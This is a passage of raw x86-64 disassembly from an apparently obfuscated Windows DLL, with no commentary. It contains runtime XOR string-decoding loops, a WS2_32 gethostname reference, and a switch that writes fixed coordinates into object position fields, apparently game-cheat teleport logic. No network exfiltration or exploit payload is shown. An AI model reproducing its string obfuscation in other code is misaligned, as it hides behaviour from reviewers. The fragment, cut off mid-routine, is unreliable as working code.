paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x50
jl 0x180096740
jmp 0x180096874
lea r9, [rbp + 0x2e30]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x50
jl 0x180096840
lea r8, [rbp + 0x2e30]
mov edx, 2
lea rcx, [rbp + 0x5170]
call fcn.1800641d0
lea rcx, [rbp + 0x5170]
call fcn.18006f4e0
mov byte [0x18024948c], 1
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x6b8]
addss xmm0, xmm7
mov dword [rbp + 0x6b8], 0x44070000
movss dword [rbp + 0x6bc], xmm0
call fcn.180025700
movzx ecx, word [0x1801c38d4]
lea rdx, [rbp + 0x6c0]
mov eax, dword [0x1801c38d0]
mov r9d, 8
mov dword [rbp + 0x248], eax
xor r8d, r8d
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x249], 0x37
xor al, 0x3c
xor byte [rbp + 0x24a], 0x38
xor byte [rbp + 0x24b], 0x39
mov word [rbp + 0x24c], cx
xor cl, 0x3a
xor byte [rbp + 0x24d], 0x3b
mov byte [rbp + 0x24c], cl
lea rcx, [rbp + 0x248]
mov dword [rbp + 0x6c0], 0x43a00000
mov dword [rbp + 0x6c4], 0x4405c000
mov byte [rbp + 0x248], Ordinal_79
mov byte [rbp + 0x24e], al
call fcn.18000fcc0
movzx eax, byte [0x1801c38e0]
lea rdx, [rbp + 0x6c8]
movsd xmm0, qword [0x1801c38d8]
lea rcx, [rbp + 0xea8]
movsd qword [rbp + 0xea8], xmm0
xor al, 0x3e
xor byte [rbp + 0xea9], 0x37
xor r9d, r9d
xor byte [rbp + 0xeaa], 0x38
mov r8b, 1
xor byte [rbp + 0xeab], 0x39
xor byte [rbp + 0xeac], 0x3a
xor byte [rbp + 0xead], 0x3b
xor byte [rbp + 0xeae], 0x3c
xor byte [rbp + 0xeaf], 0x3d
mov byte [rbp + 0xeb0], al
mov dword [rbp + 0x6c8], 0x43a00000
mov dword [rbp + 0x6cc], 0x43ed8000
mov byte [rbp + 0xea8], 0x54
call fcn.180003d00
movups xmm0, xmmword [str.zX_XNRSS]
movups xmmword [rbp + 0x1d90], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180096b54
cmp r12d, 2
jl 0x180096b15
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1d94]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180096a20
jmp 0x180096b54
lea r9, [rbp + 0x1d90]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180096b20
mov qword [rsp + 0x28], r14
lea rdx, [0x18024dd10]
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov r8d, 0x40
lea rcx, [rbp + 0x1d90]
call fcn.18004a6e0
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
movsd xmm0, qword [0x1801c38f8]
lea rdx, [rbp + 0x6d0]
movzx eax, byte [0x1801c3900]
lea rcx, [rbp + 0xeb8]
movsd qword [rbp + 0xeb8], xmm0
xor al, 0x3e
xor byte [rbp + 0xeb9], 0x37
xor r9d, r9d
xor byte [rbp + 0xeba], 0x38
xor r8d, r8d
xor byte [rbp + 0xebb], 0x39
xor byte [rbp + 0xebc], 0x3a
xor byte [rbp + 0xebd], 0x3b
xor byte [rbp + 0xebe], 0x3c
xor byte [rbp + 0xebf], 0x3d
mov byte [rbp + 0xec0], al
mov dword [rbp + 0x6d0], 0x43b90000
mov dword [rbp + 0x6d4], 0x438e8000
mov byte [rbp + 0xeb8], Ordinal_79
call fcn.18000fcc0
mov ebx, r14d
lea rdi, [0x18024d9c0]
nop word [rax + rax]
cmp dword [0x18024b4f4], ebx
lea rcx, [0x18024dd10]
mov rsi, qword [rdi]
mov rax, r13
sete r15b
inc rax
cmp byte [rcx + rax], r14b
jne 0x180096c37
test rax, rax
je 0x180096c55
mov rdx, rcx
mov rcx, rsi
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x180096c83
lea r9, [rbp + 0x6d8]
mov dword [rbp + 0x6d8], r14d
xor r8d, r8d
mov dword [rbp + 0x6dc], r14d
movzx edx, r15b
mov rcx, rsi
call fcn.180008320
test al, al
je 0x180096c83
mov dword [0x18024b4f0], ebx
inc ebx
add rdi, 8
cmp ebx, 0xe
jl 0x180096c20
call fcn.180013d50
movups xmm0, xmmword [0x1801c3908]
mov eax, dword [0x18024b4f0]
mov dword [rbp + 0x6e0], 0xbf800000
mov dword [rbp + 0x6e4], 0x42200000
movups xmmword [rbp + 0x24f0], xmm0
cmp eax, r13d
je 0x180096cc6
mov dword [0x18024b4f4], eax
mov eax, dword [0x1801c3918]
mov r8d, r14d
mov dword [rbp + 0x2500], eax
movzx eax, byte [0x1801c391c]
mov byte [rbp + 0x2504], al
cmp r12d, 2
jl 0x180096dfb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x24f4]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180096d00
cmp r8d, 0x15
jge 0x180096e44
movsxd rax, r8d
lea r9, [rbp + 0x24f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x180096e10
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x24f0]
call fcn.180002c70
test al, al
je 0x180097439
xor eax, eax
movaps xmm4, xmm8
mov dword [rsp + 0x74], eax
movaps xmm5, xmm8
mov dword [rsp + 0x7c], eax
mov dword [rbp - 0x80], eax
mov dword [rbp - 0x7c], eax
movsxd rax, dword [0x18024b4f4]
cmp eax, 0xd
ja case.default.0x180096e98
lea rdx, [0x180000000]
mov ecx, dword [rdx + rax*4 + 0xab734]
add rcx, rdx
jmp rcx
xor eax, eax
mov dword [rbp + 0x2688], 0xc2940000
mov dword [rbp + 0x268c], eax
mov dword [rbp + 0x2694], eax
mov dword [rbp + 0x2690], 0xc44c8000
movups xmm4, xmmword [rbp + 0x2688]
mov dword [rbp + 0x2698], 0x43a28000
mov dword [rbp + 0x269c], eax
movsd xmm0, qword [rbp + 0x2698]
movaps xmm5, xmm4
shufps xmm5, xmm4, 0xaa
jmp 0x180097277
xor eax, eax
mov dword [rbp + 0x26a0], 0xc4a72000
mov dword [rbp + 0x26a4], eax
mov dword [rbp + 0x26ac], eax
mov dword [rbp + 0x26b4], eax
mov dword [rbp + 0x26a8], 0xc53e4000
movups xmm2, xmmword [rbp + 0x26a0]
mov dword [rbp + 0x26b0], 0x415e6666
movsd xmm0, qword [rbp + 0x26b0]
jmp 0x18009726d
xor eax, eax
mov dword [rbp + 0x2760], 0x43120000
mov dword [rbp + 0x2764], eax
mov dword [rbp + 0x276c], eax
mov dword [rbp + 0x2774], eax
mov dword [rbp + 0x2768], 0xc43c8000
movups xmm2, xmmword [rbp + 0x2760]
mov dword [rbp + 0x2770], 0x43830000
movsd xmm0, qword [rbp + 0x2770]
jmp 0x18009726d
xor eax, eax
mov dword [rbp + 0x2748], 0x44da6000
mov dword [rbp + 0x274c], eax
mov dword [rbp + 0x2754], eax
mov dword [rbp + 0x275c], eax
mov dword [rbp + 0x2750], 0x454c8000
movups xmm2, xmmword [rbp + 0x2748]
mov dword [rbp + 0x2758], 0x42240000
movsd xmm0, qword [rbp + 0x2758]
jmp 0x18009726d
xor eax, eax
mov dword [rbp + 0x2730], 0x43e40000
mov dword [rbp + 0x2734], eax
mov dword [rbp + 0x273c], eax
mov dword [rbp + 0x2744], eax
mov dword [rbp + 0x2738], 0x45ae3800
movups xmm2, xmmword [rbp + 0x2730]
mov dword [rbp + 0x2740], 0x44464000
movsd xmm0, qword [rbp + 0x2740]
jmp 0x18009726d
xor eax, eax
mov dword [rbp + 0x2718], 0x445b8000
mov dword [rbp + 0x271c], eax
mov dword [rbp + 0x2724], eax
mov dword [rbp + 0x272c], eax
mov dword [rbp + 0x2720], 0x41b00000
movups xmm2, xmmword [rbp + 0x2718]
mov dword [rbp + 0x2728], 0x429c0000
movsd xmm0, qword [rbp + 0x2728]
jmp 0x18009726d
xor eax, eax
mov dword [rbp + 0x2700], 0xc50a4000
mov dword [rbp + 0x2704], eax
mov dword [rbp + 0x270c], eax
mov dword [rbp + 0x2714], eax
mov dword [rbp + 0x2708], 0x45427000
movups xmm2, xmmword [rbp + 0x2700]
mov dword [rbp + 0x2710], 0x42000000
movsd xmm0, qword [rbp + 0x2710]
jmp 0x18009726d
xor eax, eax
mov dword [rbp + 0x26e8], 0x443e4000
mov dword [rbp + 0x26ec], eax
mov dword [rbp + 0x26f4], eax
mov dword [rbp + 0x26fc], eax
mov dword [rbp + 0x26f0], 0x44952000
movups xmm2, xmmword [rbp + 0x26e8]
mov dword [rbp + 0x26f8], 0x43a28000
movsd xmm0, qword [rbp + 0x26f8]
jmp 0x18009726d
xor eax, eax
mov dword [rbp + 0x26d0], 0xc3d20000
mov dword [rbp + 0x26d4], eax
mov dword [rbp + 0x26dc], eax
mov dword [rbp + 0x26e4], eax
mov dword [rbp + 0x26d8], 0x448ec000
movups xmm2, xmmword [rbp + 0x26d0]
mov dword [rbp + 0x26e0], 0x43a28000
movsd xmm0, qword [rbp + 0x26e0]
jmp 0x18009726d
xor eax, eax
mov dword [rbp + 0x26b8], 0x43c28000
mov dword [rbp + 0x26bc], eax
mov dword [rbp + 0x26c4], eax
mov dword [rbp + 0x26cc], eax
mov dword [rbp + 0x26c0], 0xc47e8000
movups xmm2, xmmword [rbp + 0x26b8]
mov dword [rbp + 0x26c8], 0x41e80000
movsd xmm0, qword [rbp + 0x26c8]
jmp 0x18009726d
xor eax, eax
mov dword [rbp + 0x27c0], 0x42ed428f
mov dword [rbp + 0x27c4], eax
mov dword [rbp + 0x27cc], eax
mov dword [rbp + 0x27d4], eax
mov dword [rbp + 0x27c8], 0xc4f48c6a
movups xmm2, xmmword [rbp + 0x27c0]
mov dword [rbp + 0x27d0], 0x41a55a1d
movsd xmm0, qword [rbp + 0x27d0]
jmp 0x18009726d
xor eax, eax
mov dword [rbp + 0x27a8], 0x44e9092f
mov dword [rbp + 0x27ac], eax
mov dword [rbp + 0x27b4], eax
mov dword [rbp + 0x27bc], eax
mov dword [rbp + 0x27b0], 0x4566aafe
movups xmm2, xmmword [rbp + 0x27a8]
mov dword [rbp + 0x27b8], 0x4209126f
movsd xmm0, qword [rbp + 0x27b8]
jmp 0x18009726d
xor eax, eax
mov dword [rbp + 0x27d8], 0xc40e1000
mov dword [rbp + 0x27dc], eax
mov dword [rbp + 0x27e4], eax
mov dword [rbp + 0x27ec], eax
mov dword [rbp + 0x27e0], 0x4391a168
movups xmm2, xmmword [rbp + 0x27d8]
mov dword [rbp + 0x27e8], 0x429e5aa0
movsd xmm0, qword [rbp + 0x27e8]
jmp 0x18009726d
xor eax, eax
mov dword [rbp + 0x2778], 0xc073f7cf
mov dword [rbp + 0x277c], eax
mov dword [rbp + 0x2784], eax
mov dword [rbp + 0x278c], eax
mov dword [rbp + 0x2780], 0xc487cdaa
movups xmm2, xmmword [rbp + 0x2778]
mov dword [rbp + 0x2788], 0x41d56042
movsd xmm0, qword [rbp + 0x2788]
movaps xmm5, xmm2
movaps xmm4, xmm2
shufps xmm5, xmm2, 0xaa
movsd qword [rbp - 0x80], xmm0
mov rdx, qword [0x18024b0a0]
test rdx, rdx
je 0x180097439
mov rax, qword [0x180249380]
movaps xmm0, xmm4
unpcklps xmm0, xmm5
movaps xmm2, xmm5
movaps xmm1, xmm4
test dword [rdx + rax + 4], 0x40000000
je 0x180097378
mov rax, qword [0x1802492f0]
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], r14b
movss dword [rbp + 0x1690], xmm4
mov rdx, qword [rax + rdx]
mov rcx, rdx
movss dword [rbp + 0x1694], xmm5
mov byte [rsp + 0x20], r14b
mov rax, qword [rdx + 0x30]
mov dword [rax + 0x30], r14d
mov dword [rax + 0x34], r14d
mov dword [rax + 0x38], r14d
mov dword [rdx + 0x320], r14d
mov dword [rdx + 0x324], r14d
mov dword [rdx + 0x328], r14d
movss xmm6, dword [rbp - 0x80]
movsd qword [rdx + 0x90], xmm0
movaps xmm3, xmm6
movsd qword [rbp + 0x1678], xmm0
movaps xmm0, xmm4
unpcklps xmm0, xmm5
movss dword [rbp + 0x1680], xmm6
mov eax, dword [rbp + 0x1680]
mov dword [rdx + 0x98], eax
mov rax, qword [rdx + 0x30]
movss dword [rbp + 0x168c], xmm6
movss dword [rbp + 0x1698], xmm6
movsd qword [rbp + 0x1684], xmm0
movsd qword [rax + 0x50], xmm0
movss dword [rax + 0x58], xmm6
call qword [0x180249248]
call fcn.180016980
movss xmm6, dword [0x1801ad7d4]
addss xmm0, xmm6
call fcn.1800257a0
jmp 0x18009744f
mov rdx, qword [rdx + 0x30]
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 1
movss dword [rbp + 0x16b4], xmm4
mov dword [rdx + 0x30], r14d
mov dword [rdx + 0x34], r14d
mov dword [rdx + 0x38], r14d
mov rax, qword [0x18024b0a0]
movss dword [rbp + 0x16b8], xmm5
mov dword [rsp + 0x20], 0x42
mov dword [rax + 0x320], r14d
mov dword [rax + 0x324], r14d
mov dword [rax + 0x328], r14d
mov rax, qword [0x18024b0a0]
movss xmm6, dword [rbp - 0x80]
movsd qword [rbp + 0x169c], xmm0
movaps xmm3, xmm6
movss dword [rbp + 0x16b0], xmm6
movsd qword [rax + 0x90], xmm0
movaps xmm0, xmm4
movss dword [rax + 0x98], xmm6
mov eax, dword [rbp + 0x16b0]
unpcklps xmm0, xmm5
movsd qword [rdx + 0x50], xmm0
mov dword [rdx + 0x58], eax
mov rcx, qword [0x18024b0a0]
movss dword [rbp + 0x16a4], xmm6
movss dword [rbp + 0x16bc], xmm6
movsd qword [rbp + 0x16a8], xmm0
call qword [0x1802493f0]
jmp 0x18009735d
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
movss xmm6, dword [0x1801ad7d4]
mov eax, dword [0x1801c3930]
mov r8d, r14d
mov dword [rbp + 0x24e8], eax
movzx eax, byte [0x1801c3934]
mov byte [rbp + 0x24ec], al
mov dword [rbp + 0x6e8], 0xbf800000
mov dword [rbp + 0x6ec], 0x42200000
movups xmm0, xmmword [0x1801c3920]
movups xmmword [rbp + 0x24d8], xmm0
cmp r12d, 2
jl 0x1800975ab
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x24dc]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800974b0
cmp r8d, 0x15
jge 0x1800975f4
movsxd rax, r8d
lea r9, [rbp + 0x24d8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1800975c0
lea rdx, [rbp + 0x6e8]
lea rcx, [rbp + 0x24d8]
call fcn.180002c70
test al, al
je 0x1800977c2
mov rcx, qword [0x18024b0a0]
test rcx, rcx
je 0x1800977c2
mov rdx, qword [rcx + 0x30]
test rdx, rdx
je 0x1800ab50d
mov rax, qword [0x180249298]
movss xmm0, dword [0x1801c6e00]
movsd xmm3, qword [rax + 0x20]
ucomiss xmm3, xmm0
mov r8d, dword [rax + 0x28]
movsd qword [rsp + 0x50], xmm3
jp 0x180097655
je 0x1800977c2
movss xmm5, dword [rsp + 0x54]
ucomiss xmm5, xmm0
jp 0x180097666
je 0x1800977c2
movd xmm4, r8d
ucomiss xmm4, xmm0
jp 0x180097676
je 0x1800977c2
mov rax, qword [0x180249380]
test dword [rcx + rax + 4], 0x40000000
je 0x180097723
mov rax, qword [0x1802492f0]
mov rdx, qword [rax + rcx]
test rdx, rdx
je 0x1800977c2
mov rax, qword [rdx + 0x30]
test rax, rax
je 0x1800977c2
mov dword [rax + 0x30], r14d
movaps xmm0, xmm3
mov dword [rax + 0x34], r14d
mov r9b, 1
mov dword [rax + 0x38], r14d
mov dword [rdx + 0x320], r14d
mov dword [rdx + 0x324], r14d
mov dword [rdx + 0x328], r14d
unpcklps xmm0, xmm5
movsd qword [rdx + 0x90], xmm0
movsd qword [rbp + 0x16c0], xmm0
movaps xmm0, xmm3
unpcklps xmm0, xmm5
movss dword [rbp + 0x16c8], xmm4
mov eax, dword [rbp + 0x16c8]
mov dword [rdx + 0x98], eax
mov rax, qword [rdx + 0x30]
movss dword [rbp + 0x16d4], xmm4
movsd qword [rbp + 0x16cc], xmm0
movsd qword [rax + 0x50], xmm0
movss dword [rax + 0x58], xmm4
jmp 0x1800977a6
mov dword [rdx + 0x30], r14d
movaps xmm0, xmm3
mov dword [rdx + 0x34], r14d
xor r9d, r9d
mov dword [rdx + 0x38], r14d
mov rax, qword [0x18024b0a0]
unpcklps xmm0, xmm5
mov dword [rax + 0x320], r14d
mov dword [rax + 0x324], r14d
mov dword [rax + 0x328], r14d
mov rax, qword [0x18024b0a0]
movsd qword [rbp + 0x16d8], xmm0
movss dword [rbp + 0x16ec], xmm4
movss dword [rbp + 0x16e0], xmm4
movsd qword [rax + 0x90], xmm0
movaps xmm0, xmm3
movss dword [rax + 0x98], xmm4
mov eax, dword [rbp + 0x16ec]
unpcklps xmm0, xmm5
movsd qword [rdx + 0x50], xmm0
mov dword [rdx + 0x58], eax
mov rdx, qword [0x18024b0a0]
movsd qword [rbp + 0x16e4], xmm0
mov dword [rsp + 0x58], r8d
lea rcx, [0x18024b4e0]
lea r8, [rsp + 0x50]
movsd qword [rsp + 0x50], xmm3
call fcn.1800e7d20
call fcn.180006c20
call fcn.180013d50
lea rbx, [0x1801b3b4c]
lea rdi, str._0.2f
jmp 0x1800977eb
lea rdi, str._0.2f
movss xmm6, dword [0x1801ad7d4]
cmp dword [0x18024dbf8], 1
movss xmm8, dword [0x1801ad7f0]
jne 0x18009aed7
cmp dword [0x18024dbfc], r14d
jne 0x180098977
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x6f0]
addss xmm0, xmm7
mov dword [rbp + 0x6f0], 0x43520000
movss dword [rbp + 0x6f4], xmm0
call fcn.180025700
mov eax, dword [0x1801c3938]
lea rdx, [rbp + 0x6f8]
mov dword [rbp + 0x48], eax
lea rcx, [rbp + 0x48]
movzx eax, byte [0x1801c393c]
mov r9d, 8
xor byte [rbp + 0x49], 0x37
xor al, 0x3a
xor byte [rbp + 0x4a], 0x38
xor r8d, r8d
xor byte [rbp + 0x4b], 0x39
mov byte [rbp + 0x4c], al
mov dword [rbp + 0x6f8], 0x43a50000
mov dword [rbp + 0x6fc], 0x4405c000
mov byte [rbp + 0x48], Ordinal_79
call fcn.18000fcc0
cmp byte [0x1801c3947], r14b
mov rax, qword [str._KL_WOsYY_V_]
mov qword [rbp + 0x708], rax
mov dword [rbp + 0x700], 0x43a00000
mov dword [rbp + 0x704], 0x43ed8000
je 0x1800979f4
cmp r12d, 2
jl 0x1800979ac
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x708]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x708], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x70c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x70c], xmm2
jmp 0x1800979f4
lea r9, [rbp + 0x708]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1800979c0
xor r9d, r9d
lea rdx, [rbp + 0x700]
mov r8b, 1
lea rcx, [rbp + 0x708]
call fcn.180003d00
mov eax, dword [0x1801c3948]
lea rdx, [0x18024902c]
mov dword [rbp + 0x250], eax
lea rcx, [rbp + 0x250]
movzx eax, word [0x1801c394c]
xor byte [rbp + 0x251], 0x37
xor byte [rbp + 0x252], 0x38
xor byte [rbp + 0x253], 0x39
mov word [rbp + 0x254], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x254], 0x3a
xor al, 0x3c
xor byte [rbp + 0x255], 0x3b
mov byte [rbp + 0x256], al
mov byte [rbp + 0x250], 0x45
call fcn.1800032d0
cmp byte [reloc.WS2_32.dll_gethostname], r14b
mov eax, dword [str.tX_9]
mov dword [rbp - 0x58], eax
je 0x180097b34
cmp r12d, 2
jl 0x180097af8
movdqa xmm1, xmm15
movdqa xmm0, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movd dword [rbp - 0x58], xmm1
jmp 0x180097b34
lea r9, [rbp - 0x58]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x180097b00
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x2b50]
call fcn.1800635b0
mov rcx, rax
lea r8, [0x180249058]
lea rdx, [0x180249054]
call fcn.18006f530
cmp byte [0x180249054], r14b
je 0x180097d8f
call fcn.180016950
movss xmm6, dword [0x1801ad7d4]
addss xmm0, xmm6
call fcn.180025760
mov eax, dword [0x1801c3960]
mov r8d, r14d
movsd xmm0, qword [0x1801c3958]
mov dword [rbp + 0x1858], eax
movzx eax, byte [0x1801c3964]
mov byte [rbp + 0x185c], al
movsd qword [rbp + 0x1850], xmm0
cmp r12d, 2
jl 0x180097ca0
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
